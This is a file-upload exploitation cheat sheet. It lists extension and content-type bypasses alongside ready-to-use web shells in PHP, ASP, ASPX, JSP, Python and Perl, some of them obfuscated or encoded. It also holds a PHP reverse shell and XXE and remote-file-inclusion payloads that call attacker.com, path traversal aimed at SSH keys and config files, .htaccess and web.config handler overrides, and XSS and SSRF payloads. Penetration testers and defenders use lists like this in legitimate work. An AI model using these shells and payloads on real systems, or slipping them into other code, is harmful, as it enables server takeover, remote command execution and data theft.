# File Upload Vulnerability Payloads (2020-2025 Bug Bounty Tested)

# ============================
# FILE EXTENSION BYPASSES
# ============================

# Double Extensions
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.pdf
shell.php.txt
shell.jpg.php
shell.png.php
exploit.asp.jpg
exploit.aspx.png
backdoor.jsp.gif

# Case Variations
shell.PHP
shell.PhP
shell.pHp
shell.Php
shell.PHp
shell.ASP
shell.ASPX
shell.AsP
shell.JSP

# Null Byte Injection (older systems)
shell.php%00.jpg
shell.php%00.png
shell.php\x00.jpg
shell.asp%00.gif
exploit.jsp%00.pdf

# Special Characters
shell.php.....
shell.php%20
shell.php%0a
shell.php%00
shell.php%0d%0a
shell.php::$DATA
shell.php::$INDEX_ALLOCATION

# Alternate Extensions (PHP)
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phar
shell.phpt
shell.pgif
shell.pht
shell.inc
shell.hphp
shell.ctp

# Alternate Extensions (ASP/ASPX)
shell.asp
shell.aspx
shell.asa
shell.asax
shell.ascx
shell.ashx
shell.asmx
shell.cer
shell.config
shell.soap
shell.rem

# Alternate Extensions (JSP)
shell.jsp
shell.jspx
shell.jsw
shell.jsv
shell.jspf

# Other Language Extensions
shell.pl
shell.pm
shell.cgi
shell.py
shell.pyc
shell.rb
shell.rbw
shell.sh
shell.bash

# Executable Extensions
malware.exe
backdoor.bat
script.cmd
payload.ps1
reverse.sh

# Server Config Files
.htaccess
.htpasswd
web.config
httpd.conf
.user.ini
php.ini

# ============================
# CONTENT-TYPE BYPASSES
# ============================

# Common Content-Type Headers to Test:

# Legitimate looking but with malicious content
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: image/bmp
Content-Type: image/svg+xml
Content-Type: application/pdf
Content-Type: application/zip
Content-Type: text/plain
Content-Type: text/csv
Content-Type: application/octet-stream
Content-Type: video/mp4
Content-Type: audio/mpeg

# Empty or null
Content-Type: 
Content-Type: null
Content-Type: undefined

# Malformed
Content-Type: image/jpeg; charset=binary
Content-Type: multipart/form-data; boundary=something

# ============================
# MAGIC BYTES (File Signatures)
# ============================

# PHP Web Shell with JPEG Header
FF D8 FF E0 (JPEG magic bytes)
<?php system($_GET['cmd']); ?>

# PHP Web Shell with PNG Header
89 50 4E 47 0D 0A 1A 0A (PNG magic bytes)
<?php system($_GET['cmd']); ?>

# PHP Web Shell with GIF Header
GIF89a
<?php system($_GET['cmd']); ?>

# PHP Web Shell with PDF Header
%PDF-1.4
<?php system($_GET['cmd']); ?>

# PHP Web Shell with ZIP Header
PK (ZIP magic bytes)
<?php system($_GET['cmd']); ?>

# ============================
# POLYGLOT FILES (Valid Image + Valid Code)
# ============================

# GIF + PHP Polyglot
GIF89a<?php system($_GET['cmd']); ?>

# JPEG + PHP Polyglot (with comment)
# Add PHP code in JPEG comment section
# Use exiftool: exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# PNG + PHP Polyglot
# Use PNG ancillary chunks to hide PHP code

# BMP + PHP Polyglot
# BMP header followed by PHP code in pixel data

# ============================
# WEB SHELL PAYLOADS
# ============================

# === PHP Web Shells ===

# Simple PHP Shell
<?php system($_GET['cmd']); ?>

# PHP Shell with POST
<?php system($_POST['cmd']); ?>

# PHP Eval Shell
<?php eval($_REQUEST['cmd']); ?>

# PHP Passthru Shell
<?php passthru($_GET['cmd']); ?>

# PHP Exec Shell
<?php echo exec($_GET['cmd']); ?>

# PHP Shell_exec
<?php echo shell_exec($_GET['cmd']); ?>

# PHP Backdoor
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

# PHP File Manager Shell
<?php
if(isset($_GET['file'])){
    echo file_get_contents($_GET['file']);
}
if(isset($_FILES['upload'])){
    move_uploaded_file($_FILES['upload']['tmp_name'], $_FILES['upload']['name']);
}
?>

# PHP One-liner Shells
<?=`$_GET[x]`?>
<?=system($_GET[x]);?>
<?=shell_exec($_GET[x]);?>
<?=passthru($_GET[x]);?>
<?=exec($_GET[x]);?>

# Obfuscated PHP Shell
<?php $a=$_GET['a'];$b=$_GET['b'];$a($b);?>
<?php @eval($_POST['x']);?>
<?php @assert($_POST['x']);?>
<?php $f='sys'.'tem';$f($_GET['x']);?>

# PHP Reverse Shell
<?php
$sock=fsockopen("attacker.com",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

# === ASP/ASPX Web Shells ===

# ASP Shell
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Response.Write(oScript.Exec("cmd /c " & Request.QueryString("cmd")).StdOut.ReadAll())
%>

# ASPX Shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.UseShellExecute = false;
    p.Start();
    Response.Write(p.StandardOutput.ReadToEnd());
}
</script>

# ASPX One-liner
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

# === JSP Web Shells ===

# JSP Shell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
int i;
while((i = in.read()) != -1) {
    out.print((char)i);
}
%>

# JSP One-liner
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# === Python Web Shell ===

#!/usr/bin/env python
import os
import cgi
form = cgi.FieldStorage()
cmd = form.getvalue('cmd')
os.system(cmd)

# === Perl Web Shell ===

#!/usr/bin/perl
use CGI;
$q = CGI->new;
print $q->header;
print `$q->param('cmd')`;

# ============================
# XSS VIA FILE UPLOAD
# ============================

# HTML File Upload
<html>
<body>
<script>alert(document.cookie)</script>
</body>
</html>

# SVG File Upload with XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

# SVG with XSS (onload)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">

# PDF with XSS (if rendered in browser)
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction << /S /JavaScript /JS (app.alert('XSS');) >>
>>
endobj

# XML with XSS
<?xml version="1.0"?>
<!DOCTYPE html [
<!ENTITY js "alert(document.domain)">
]>
<html>
<body>
<script>&js;</script>
</body>
</html>

# ============================
# XXE VIA FILE UPLOAD
# ============================

# SVG with XXE
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

# XML with XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

# XXE - Parameter Entity
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>

# XXE - Blind OOB
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

# ============================
# PATH TRAVERSAL IN FILENAME
# ============================

# Directory Traversal
../../../etc/passwd
..\..\..\..\windows\system32\config\sam
....//....//....//etc/passwd

# Overwrite Important Files
../../../var/www/html/index.php
../../../.ssh/authorized_keys
../../config.php
../../../.htaccess
../../wp-config.php

# Filename with Path Traversal
../../../../tmp/shell.php
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd

# ============================
# HTACCESS FILE UPLOAD
# ============================

# .htaccess to Execute PHP
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .png
AddType application/x-httpd-php .gif

# .htaccess to Execute All Files as PHP
AddType application/x-httpd-php .
SetHandler application/x-httpd-php

# .htaccess to Bypass Upload Restrictions
<FilesMatch "\.ph(p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>

# ============================
# WEB.CONFIG FILE UPLOAD (IIS)
# ============================

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers>
         <add name="PHP_via_FastCGI" 
              path="*.jpg" 
              verb="*" 
              modules="FastCgiModule" 
              scriptProcessor="C:\PHP\php-cgi.exe" 
              resourceType="Unspecified" />
      </handlers>
   </system.webServer>
</configuration>

# ============================
# ARCHIVE-BASED ATTACKS
# ============================

# ZIP Slip - Malicious Archive
# Create zip file with: ../../../../var/www/html/shell.php

# ZIP with Symlink
# ln -s /etc/passwd passwd.txt
# zip --symlinks payload.zip passwd.txt

# TAR with Path Traversal
# tar -cf payload.tar ../../../../var/www/html/shell.php

# Zip Bomb (DoS)
# Create highly compressed file that expands to huge size

# ============================
# IMAGE METADATA INJECTION
# ============================

# EXIF Data with XSS (if displayed)
exiftool -Comment='<script>alert(1)</script>' image.jpg

# EXIF Data with PHP Code
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# IPTC Data Injection
exiftool -IPTC:Caption-Abstract='<?php eval($_POST["x"]); ?>' image.jpg

# ============================
# SERVER-SPECIFIC BYPASSES
# ============================

# Apache
shell.php.jpg (with .htaccess: AddType application/x-httpd-php .jpg)
.htaccess file to execute images as PHP

# IIS
shell.asp;.jpg
shell.asp:.jpg
web.config to execute images as ASP

# Nginx
shell.php%00.jpg (older versions)
Upload to misconfigured alias/location

# Tomcat
shell.jsp%00.jpg
shell.jspx

# ============================
# RACE CONDITION FILE UPLOAD
# ============================

# Upload file quickly and access before validation/deletion
# Technique: Concurrent upload and access requests

# ============================
# FILE UPLOAD WITH SIZE BYPASS
# ============================

# Small malicious file
<?=`$_GET[0]`?>

# Compressed PHP shell
<?=`{$_GET[0]}`;

# ============================
# MIME TYPE CONFUSION
# ============================

# Upload with different MIME types
Content-Type: application/x-php
Content-Type: application/x-httpd-php
Content-Type: application/php
Content-Type: text/php
Content-Type: text/x-php

# ============================
# POLYGLOT FILES FOR MULTIPLE FORMATS
# ============================

# JPEG + JAR Polyglot (for Java apps)
# Valid JPEG and valid JAR simultaneously

# PDF + HTML Polyglot
%PDF-1.4
<html><script>alert(1)</script></html>

# GIF + JavaScript
GIF89a/*<?php
<script>alert(1)</script>
<?php */;

# ============================
# MODERN BYPASS TECHNIQUES (2023-2025)
# ============================

# Unicode Normalization
shell.php%E2%80%AE.jpg (Right-to-Left Override)
shell‮gpj.php (RLO character)

# Homoglyph Attacks
shell.рhр (Cyrillic р instead of Latin p)
shell.рhр

# UTF-8 BOM
<?php system($_GET['cmd']); ?>

# Long Filename DoS
# Create extremely long filename to bypass validation

# Multiple Content-Disposition
Content-Disposition: form-data; name="file"; filename="safe.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"

# Null Session (Windows)
\\127.0.0.1\c$\inetpub\wwwroot\shell.php

# Case Sensitivity Issues
ShElL.PhP
SHELL.php
Shell.PHP

# ============================
# FRAMEWORK-SPECIFIC BYPASSES
# ============================

# WordPress
wp-content/uploads/shell.php
wp-content/themes/shell.php
wp-content/plugins/shell.php

# Drupal
sites/default/files/shell.php

# Joomla
media/shell.php
images/shell.php

# Laravel
storage/app/shell.php
public/uploads/shell.php

# Django
media/uploads/shell.py

# ============================
# REMOTE FILE INCLUSION VIA UPLOAD
# ============================

# Upload file containing:
<?php include($_GET['file']); ?>
<?php require($_GET['file']); ?>
<?php include_once($_GET['file']); ?>

# Then access with:
?file=http://attacker.com/shell.txt
?file=php://input (with POST data containing PHP code)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# ============================
# FILE UPLOAD WITH SSRF
# ============================

# Upload file that triggers SSRF
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://internal-server/admin"/>
</svg>

# ============================
# DESERIALIZATION VIA FILE UPLOAD
# ============================

# PHP Phar Deserialization
# Upload malicious .phar file
# Trigger via: file_get_contents('phar://uploads/payload.phar/test.txt')

# Java Deserialization
# Upload serialized Java object
# Trigger if application deserializes uploaded files

# ============================
# EICAR TEST FILE (AV Bypass Testing)
# ============================

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

# ============================
# BINARY PAYLOAD ENCODINGS
# ============================

# Base64 Encoded Shell
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>

# Hex Encoded
<?php eval(hex2bin("73797374656d28245f4745545b27636d64275d293b")); ?>

# ROT13
<?php eval(str_rot13("flfgrz($_TRG['pzq']);")); ?>

# ============================
# ALTERNATIVE DATA STREAMS (Windows/NTFS)
# ============================

shell.php::$DATA
shell.asp::$DATA
payload.txt:hidden.php